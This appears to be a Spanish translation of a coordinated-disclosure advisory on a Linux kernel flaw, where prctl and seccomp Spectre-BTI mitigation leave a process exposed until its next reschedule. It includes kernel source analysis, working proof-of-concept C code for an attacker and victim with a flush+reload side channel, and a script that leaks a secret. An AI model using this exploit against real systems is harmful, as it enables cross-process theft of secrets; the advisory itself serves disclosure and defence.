
José Oliveira (esoj)
Rodrigo Branco (BSDaemon)
Al probar la tasa de éxito de los ataques Spectre-BTI, detectamos un patrón extraño al usar la API del kernel como mitigación1. Nuestras pruebas revelaron que el kernel de Linux no mitiga correctamente el ataque, dejando el proceso expuesto durante un breve período de tiempo después de la syscall.
Una investigación más a fondo mostró que el kernel no emite un IBPB inmediatamente durante la syscall. La función ib_prctl_set2 actualiza los indicadores de información de hilo (TIF) de la tarea y actualiza el MSR SPEC_CTRL en la función __speculation_ctrl_update 3, pero el IBPB solo se emite en la siguiente planificación, cuando se comprueban los bits TIF. Esto deja a la víctima vulnerable a valores ya inyectados en el BTB antes de la syscall prctl. El comportamiento solo se corrige después de que ocurra una replanificación de la tarea. Además, la entrada al kernel (debido a la propia syscall) no emite un IBPB en los escenarios predeterminados (es decir, cuando el kernel se protege mediante retpoline o eIBRS).
Ejecutar un prctl para mitigar ataques Spectre-BTI usando:
prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0);
conduce a la función ib_prctl_set2 en el kernel 5.15. Cuando se usa la opción SPEC_DISABLE, se establece el bit TIF para task_set_spec_ib_disable y se llama a task_update_spec_tif:
static int ib_prctl_set(struct task_struct *task, unsigned long ctrl)
[...]
case PR_SPEC_FORCE_DISABLE:
/*
* Indirect branch speculation is always allowed when
* mitigation is force disabled.
*/
if (spectre_v2_user_ibpb == SPECTRE_V2_USER_NONE &&
spectre_v2_user_stibp == SPECTRE_V2_USER_NONE)
return -EPERM;
if (!is_spec_ib_user_controlled())
return 0;
task_set_spec_ib_disable(task);
if (ctrl == PR_SPEC_FORCE_DISABLE)
task_set_spec_ib_force_disable(task);
task_update_spec_tif(task);
break;
task_set_spec_ib_disable llama a set_tsk_thread_flag(tsk, TIF_SPEC_FORCE_UPDATE); y si la tarea objetivo es la actual, llama a speculation_ctrl_update_current();
static void task_update_spec_tif(struct task_struct *tsk)
{
/* Force the update of the real TIF bits */
set_tsk_thread_flag(tsk, TIF_SPEC_FORCE_UPDATE);
/*
* Immediately update the speculation control MSRs for the current
* task, but for a non-current task delay setting the CPU
* mitigation until it is scheduled next.
*
* This can only happen for SECCOMP mitigation. For PRCTL it's
* always the current task.
*/
if (tsk == current)
speculation_ctrl_update_current();
}
Tras el envoltorio speculation_ctrl_update, speculation_ctrl_update_current ejecuta __speculation_ctrl_update con tifp = ~tifp; aquí se ejecuta la actualización del wrmsr para establecer STIBP, pero no se emite ningún IBPB:
static __always_inline void __speculation_ctrl_update(unsigned long tifp,
unsigned long tifn)
{
unsigned long tif_diff = tifp ^ tifn;
u64 msr = x86_spec_ctrl_base;
bool updmsr = false;
lockdep_assert_irqs_disabled();
/* Handle change of TIF_SSBD depending on the mitigation method. */
if (static_cpu_has(X86_FEATURE_VIRT_SSBD)) {
if (tif_diff & _TIF_SSBD)
amd_set_ssb_virt_state(tifn);
} else if (static_cpu_has(X86_FEATURE_LS_CFG_SSBD)) {
if (tif_diff & _TIF_SSBD)
amd_set_core_ssb_state(tifn);
} else if (static_cpu_has(X86_FEATURE_SPEC_CTRL_SSBD) ||
static_cpu_has(X86_FEATURE_AMD_SSBD)) {
updmsr |= !!(tif_diff & _TIF_SSBD);
msr |= ssbd_tif_to_spec_ctrl(tifn);
}
/* Only evaluate TIF_SPEC_IB if conditional STIBP is enabled. */
if (IS_ENABLED(CONFIG_SMP) &&
static_branch_unlikely(&switch_to_cond_stibp)) {
updmsr |= !!(tif_diff & _TIF_SPEC_IB);
msr |= stibp_tif_to_spec_ctrl(tifn);
}
if (updmsr)
wrmsrl(MSR_IA32_SPEC_CTRL, msr);
}
La syscall seccomp también usa ib_prctl_set2 como mitigación, dentro de arch_seccomp_spec_mitigate4, por lo que se espera el mismo resultado con seccomp.
Si bien mediante el análisis del código estamos seguros de que la ventana para explotar existe, no estaba claro si era lo suficientemente grande como para que la víctima cargara secretos y el atacante los filtrara (ya que se espera que los secretos no estén en el espacio de direcciones de la víctima hasta que se realiza la llamada prctl). Las pruebas se ejecutaron en una máquina bare metal con soporte para mitigaciones por hardware, con Ubuntu 22.04.1 LTS instalado:
Kernel is Linux 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64
CPU is Intel(R) Core(TM) i7-4790 CPU @ 3.60GHz
* Hardware support (CPU microcode) for mitigation techniques
* Indirect Branch Restricted Speculation (IBRS)
* SPEC_CTRL MSR is available: YES
* CPU indicates IBRS capability: YES (SPEC_CTRL feature bit)
* Indirect Branch Prediction Barrier (IBPB)
* CPU indicates IBPB capability: YES (SPEC_CTRL feature bit)
* Single Thread Indirect Branch Predictors (STIBP)
* SPEC_CTRL MSR is available: YES
* CPU indicates STIBP capability: YES (Intel STIBP feature bit)
* Speculative Store Bypass Disable (SSBD)
El código de prueba consta de dos procesos que se ejecutan en el mismo núcleo lógico. El atacante envenena constantemente el BTB con la dirección de un gadget de Spectre presente en un proceso víctima. El proceso víctima mide la tasa de predicciones incorrectas comprobando si una variable de prueba fue accedida por la función del gadget de Spectre. Esto normalmente devuelve la siguiente salida:
esoj@oxigenio:~/CPU_exploits/prctlbleed$ ./attacker 0x55555554123 0x55555555345 0 &
esoj@oxigenio:~/CPU_exploits/prctlbleed$ ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 941/1000
Rate: 1000/1000
Rate: 999/1000
Rate: 1000/1000
Rate: 1000/1000
Rate: 997/1000
Rate: 994/1000
Rate: 996/1000
Rate: 998/1000
Rate: 993/1000
Total misspredict rate: 9918/10000 (99.18 %)
A continuación, se usa PRCTL para mitigar el ataque. La mitigación se puede habilitar añadiendo prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0); al comienzo del programa. Se espera que esto mitigue el ataque Spectre-BTI:
PRCTL GET value 0x9
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Total misspredict rate: 0/10000 (0.00 %)
Sin embargo, algunas de las pruebas mostraron un resultado diferente:
Rate: 50510/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 50510/1000000 (5.05 %)
Además, cambiar la prioridad ('nice') parece afectar la tasa de predicciones incorrectas:
esoj@oxigenio:~/CPU_exploits/prctlbleed$ sudo nice -n -19 ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 99994/100000
Rate: 7716/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 107710/1000000 (10.77 %)
esoj@oxigenio:~/CPU_exploits/prctlbleed$ sudo nice -n 19 ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 16715/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 16715/1000000 (1.67 %)
Esto indica que prctl solo protegió el proceso después de la siguiente planificación, tal como se deducía del análisis del código. Otro comportamiento extraño de esta prueba es que, después de una bifurcación incorrecta, la ruta especulativa debería corregirse y el valor verdadero debería escribirse en el BTB. Dado que no hay otros atacantes en el hilo hermano que vuelvan a envenenar el BTB, valores tan altos de predicciones incorrectas son inesperados.
Para asegurarnos de que no se trataba de un error de medición, creamos una POC sencilla. El código de la víctima siempre ejecuta safe_function a través de un puntero a función vulnerable a un ataque Spectre-BTI. La víctima solicita al kernel protección mediante la syscall prctl (dentro de protect_me). La víctima también carga un secreto desde un archivo de texto, lo que demuestra que otras syscalls tampoco comprueban el bit TIF ni provocan una replanificación que forzaría un IBPB.
//gcc -o victim victim.c -O0 -masm=intel -no-pie -fno-stack-protector
#include "common.h"
int main(int argc, char *argv[])
{
setvbuf(stdout, NULL, _IONBF, 0);
printf("running victim %s\n", argv[1]);
//only call safe_function
codePtr = safe_function;
char secret[20];
char *sharedmem = open_shared_mem();
unsigned idx = string_to_unsigned(argv[1]);
//call for prctl to protect this process
protect_me();
//only then load the secret into memory
load_secret(secret);
for (int i = 0; i < 100; i++)
{
flush((char *)&codePtr);
//this arguments are never used on safe_function, but they match the signature of spectre_gadget, that should never be called
//Since prctl is called, it shouldn't be possible for an attacker to poison the BTB and leak the secret
spec(&sharedmem[2000], secret, idx);
}
}
La mayoría de las funciones de libc se colocaron en un encabezado común entre el atacante y la víctima para que las funciones spectre_gadget y spec compartan las mismas direcciones de memoria tanto en la víctima como en el atacante (de lo contrario, se crea una entrada .GOT y las direcciones cambian). Esto no es un requisito; hay otras formas de colocar las bifurcaciones en las mismas direcciones y replicar el contexto de la víctima, pero este método es más sencillo.
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/prctl.h>
char unused[0x1000];
void (*codePtr)(char *, char *, unsigned idx);
char unused2[0x1000];
// this function dos nothing. Always called by the victim
void safe_function(char *a, char *b, unsigned idx)
{
}
// this function is never called by the victim
void spectre_gadget(char *addr, char *secret, unsigned idx)
{
volatile char d;
if ((secret[idx / 8] >> (idx % 8)) & 1)
d = *addr;
}
// helper for better results probabbly not necessary but makes the tests easier
void flush(char *adrs)
{
asm volatile(
"clflush [%0] \n"
:
: "c"(adrs)
:);
}
// This function is vulnerable to a spectre-BTI attack.
void spec(char *addr, char *secret, unsigned idx)
{
for (register int i = 0; i < 30; i++)
;
codePtr(addr, secret, idx);
}
// opens file as read only in memory to be used as side channel, but could be any other COW file like libc for example
char *open_shared_mem()
{
int fd = open("sharedmem", O_RDONLY);
char *res = (char *)mmap(NULL, 0x1000, PROT_READ, MAP_PRIVATE, fd, 0);
// ensure page is on memory
volatile char d = res[2100];
return res;
}
// load secret from file
void load_secret(char *secret)
{
FILE *fp = fopen("secret.txt", "r");
fgets(secret, 20, (FILE *)fp);
}
// Calls prctl to protect the user against spectre-BTI attacks - https://docs.kernel.org/userspace-api/spec_ctrl.html
void protect_me()
{
usleep(1000); //not needed but resets the available time on scheduler
prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0);
}
// Utility. All utility functions are placed on common so the spec function matches the same address on both victim and attacker. This is not necessary but makes the tests easier
unsigned string_to_unsigned(char *s)
{
return atoi(s);
}
El ataque consiste en envenenar el BTB llamando a la función spec y haciendo que bifurque a spectre_gadget en lugar de safe_function. Tras el entrenamiento, se crea el proceso víctima, que ejecuta spec y predice incorrectamente hacia spectre_gadget, que nunca debería ejecutarse. El secreto se filtra a través de un canal lateral clásico de tipo flush+reload.
//gcc -o attacker attacker.c -O0 -masm=intel -no-pie -fno-stack-protector
#include "common.h"
#define PRINTNUM 1000
unsigned probe(char *adrs)
{
volatile unsigned long time;
asm __volatile__(
" mfence \n"
" lfence \n"
" rdtsc \n"
" lfence \n"
" mov esi, eax \n"
" mov eax,[%1] \n"
" lfence \n"
" rdtsc \n"
" sub eax, esi \n"
" clflush [%1] \n"
" mfence \n"
" lfence \n"
: "=a"(time)
: "c"(adrs)
: "%esi", "%edx");
return time;
}
int main(int argc, char *argv[])
{
//Make spec function confuse safe_function with spectre_gadget
codePtr = spectre_gadget;
char dummy;
int hits = 0;
int tries = 0;
char *sharedmem = open_shared_mem();
setvbuf(stdout, NULL, _IONBF, 0);
while (1)
{
//Inject the target in the BTB
spec(&dummy, &dummy, 0);
//Allow for victim to execute and misspredict to spectre_gadget
usleep(1);
//probe the 1-bit flush+reload side channel
if (probe((char *)&sharedmem[2000]) < 0x90)
{
printf("+");
}
}
}
Dado que la víctima recibe un argumento que se puede usar para elegir el bit que se filtrará a través del canal lateral, podemos ejecutar el proceso víctima varias veces mientras el atacante está en ejecución:
taskset -c 0 ./attacker >> result.txt &
for i in {0..144}
do
echo "Leaking bit $i... "
echo -e -n "Leaking bit $i: " >> result.txt
sleep .01
for j in {0..10}
do
taskset -c 0 ./victim $i >/dev/null
done
echo "" >> result.txt
done
python3 parseResult.py
make clean
echo -e "killing attacker"
kill -9 $(pidof attacker)
Esto deja el siguiente archivo de texto:
Leaking bit 0: +++++++++++
Leaking bit 1:
Leaking bit 2:
Leaking bit 3:
Leaking bit 4:
Leaking bit 5:
Leaking bit 6: ++++++++++
Leaking bit 7:
Leaking bit 8: ++++++++
[...]
Nótese que los bits 0 y 6 son 1; por lo tanto, el primer carácter debe ser 0x41(A).
Al analizar el archivo con un sencillo script de Python se obtiene:
The secret leaked is: b'Asuper_secret_flag'
Que es exactamente el contenido presente en secret.txt utilizado por la víctima.
Sustituir la llamada prctl por seccomp con syscall(SYS_seccomp,SECCOMP_SET_MODE_STRICT,0,0); después de cargar el secreto no evita el ataque. Esto es esperado, ya que internamente ambas usan la misma función ib_prctl_set para implementar la mitigación.
La implementación actual de la syscall prctl para el control especulativo no protege al usuario contra atacantes que se ejecutan antes de la mitigación. La mitigación seccomp también falla en este escenario.
Para aplicaciones en modo usuario, un usleep después de la llamada prctl es suficiente para forzar una replanificación y garantizar la mitigación correcta. Un posible parche del kernel para este ataque consiste en emitir el IBPB al mismo tiempo que se establece STIBP, en __speculation_ctrl_update 3, o llamar a schedule().
27 de diciembre de 2022 - Comportamiento inesperado detectado en prctl
29 de diciembre de 2022 - Primera versión de este informe
31 de diciembre de 2022 - Compartido con el equipo de seguridad del kernel de Linux
02 de febrero de 2023 - Informe divulgado públicamente: https://github.com/google/security-research/security/advisories/GHSA-9x5g-vmxf-4qj8
“Guía de API de espacio de usuario del kernel de Linux: Control de especulación”. Enlace: https://docs.kernel.org/userspace-api/spec_ctrl.html ↩
"Código fuente de Linux". Enlace: [https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1467] (https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1467) ↩ ↩2 ↩3
"Código fuente de Linux". Enlace: [https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/process.c#L557] (https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/process.c#L557) ↩ ↩2
"Código fuente de Linux". Enlace: [https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1616] (https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1616) ↩